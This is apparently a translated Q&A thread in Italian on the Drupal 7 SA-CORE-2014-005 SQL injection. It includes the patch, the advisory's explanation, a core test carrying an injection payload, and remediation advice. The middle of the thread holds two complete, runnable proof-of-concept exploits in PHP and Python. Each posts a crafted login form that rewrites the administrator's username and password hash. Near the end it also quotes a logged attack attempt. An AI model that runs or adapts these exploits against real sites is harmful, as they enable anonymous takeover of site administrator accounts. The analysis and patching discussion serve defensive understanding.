Che tipo di attacchi impedisce la patch per SA-CORE-2014-005 (Drupal 7.32)?

Leggere su https://www.drupal.org/node/2357241 e i dettagli tecnici su https://www.drupal.org/SA-CORE-2014-005 , nonché la patch effettiva che è semplicemente:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Mi chiedo che tipo di richiesta potrebbe essere fatta che utilizza questo exploit?

La società che ha riscontrato il bug ha alcuni esempi di Advisory 01/2014: Drupal - Vulnerabilità legata all'iniezione SQL pre-autorizzazione :

Estratto:

La funzione presuppone che venga chiamata con un array che non ha chiavi. Esempio:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Che risulta in questa istruzione SQL

SELECT * from users where name IN (:name_0, :name_1)

con i parametri name_0 = user1e name_1 = user2.

Il problema si verifica se l'array ha chiavi, che non sono numeri interi. Esempio:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

questo si traduce in una query SQL sfruttabile:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

con i parametri: name_test = user2.

Poiché Drupal utilizza DOP, sono consentite più query. Quindi questa Iniezione SQL può essere utilizzata per inserire dati arbitrari nel database, scaricare o modificare i dati esistenti o eliminare l'intero database.

Con la possibilità di INSERIRE dati arbitrari nel database, un utente malintenzionato può eseguire qualsiasi codice PHP tramite funzionalità Drupal con callback.

Cosa succede con 7.32 Controllando il modulo di test. Puoi vedere che il seguente test è stato aggiunto a 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Ciò dovrebbe fornire ulteriori informazioni su come realizzare un attacco.

Proof of Concept Da quando è trascorso più del tempo sufficiente e ci sono molti PoC in circolazione.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Ecco un blog che fa una buona ripartizione: http://www.volexity.com/blog/?p=83

I ricercatori che hanno trovato il bug hanno una prova del concetto. Altri hanno sviluppato anche prove di concetto. Tuttavia, non li pubblicano intenzionalmente per cercare di ridurre la probabilità che venga ampiamente sfruttato. Dobbiamo rispettare tale ricerca e moderazione e non pubblicare esempi qui.

Dopo che è trascorso un po 'di tempo e che i siti vengono aggiornati, sarà molto interessante, dal punto di vista accademico, rivedere il codice di attacco di prova. Fino ad allora, è un rischio inutile e attira l'attenzione.

Il codice nell'advisory SektioinEins non è un esempio completamente sviluppato di come sfruttarlo. Descrivono in dettaglio la debolezza, ma non identificano esattamente come sfruttare effettivamente il problema.

Sono passate alcune settimane da quando il problema è stato rilasciato e SektionEins ha pubblicato sul suo blog diverse prove di concetti . Questi sono piuttosto interessanti rispetto a molte altre prove di concetto che sono state sviluppate poiché lasciano pochissime tracce della loro attività (ad esempio nulla nella tabella menu_router).

Posso confermare che questa vulnerabilità funzionerà con tutti i siti Drupal 7.31 e inferiori, indipendentemente dai moduli attivi. Ogni forma drupal potrebbe essere utilizzata per sfruttare questa vulnerabilità.

Lo sfruttamento è abbastanza semplice, quindi PoC è già in circolazione. Sono stato in grado di attaccare il proprio server e modificare le password degli utenti come utente anonimo in un'installazione pulita di Drupal, ma le possibilità sono infinite.

Questo errore era noto quasi 1 anno fa tramite https://www.drupal.org/node/2146839 ma nessuno del Drupal Core Security Team ha risposto.

Mi chiedevo come questo potesse essere sfruttato e quanto tempo e sforzo ci sarebbe voluto? Pertanto ho deciso di installare la versione precedente di Drupal 7 sul mio localhost e decodificare questo bug. Quello che ho scoperto è stato un bug scioccante che offre a chiunque con conoscenze di base su HTML / SQL un accesso completo al tuo sito Drupal.

Sono riuscito a eseguire l'iniezione SQL in Drupal 7 utilizzando un utente anonimo in meno di 30 minuti di tentativi!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOTA: Ciò non ti consentirà di accedere poiché Drupal usa SHA512 con sale, quindi non è possibile effettuare il login. Intenzionalmente non ho inserito il codice qui, ma ovviamente chiunque abbia un po 'di conoscenza di Drupal saprà come superarlo e costruire la query che ti darà pieno accesso!

Questo apre una domanda su quanto sia sicuro Drupal e chi è responsabile di qualcosa del genere? Apparentemente questo bug era noto da più di un anno ( https://www.drupal.org/node/2146839 ), ma nessuno ha reagito su Drupal.org. Accidentale o intenzionale? :)

È una correzione di una vulnerabilità dell'iniezione SQL in cui istruzioni SQL dannose vengono inserite in un campo di immissione per l'esecuzione e che potrebbero portare ad esempio a rilasciare il contenuto del database. Questa correzione è importante da applicare il più presto possibile soprattutto perché questa vulnerabilità può essere sfruttata da utenti anonimi.

Se non è possibile aggiornare immediatamente il team di sicurezza, è possibile applicare questa patch che fornirà la stessa protezione fino a quando non sarà possibile eseguire l'aggiornamento completo 1 . Inoltre il team di sicurezza ha preparato alcune FAQ relative a questo problema. Mettere il tuo sito in modalità manutenzione non aiuta e svuota la cache dopo aver applicato l'aggiornamento o assicurati di utilizzare 7.32.

Inoltre, dovresti verificare se il tuo sito non è stato compromesso. Alcuni siti segnalano già problemi. Ecco un post sul blog che suggerisce come verificare che l' aggiornamento a Drupal 7.32 non sia sufficiente, il tuo sito potrebbe essere già stato violato

Applico la correzione il 15 ottobre e i miei siti hanno già segnalato qualcuno che sta cercando di sfruttare la vulnerabilità

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149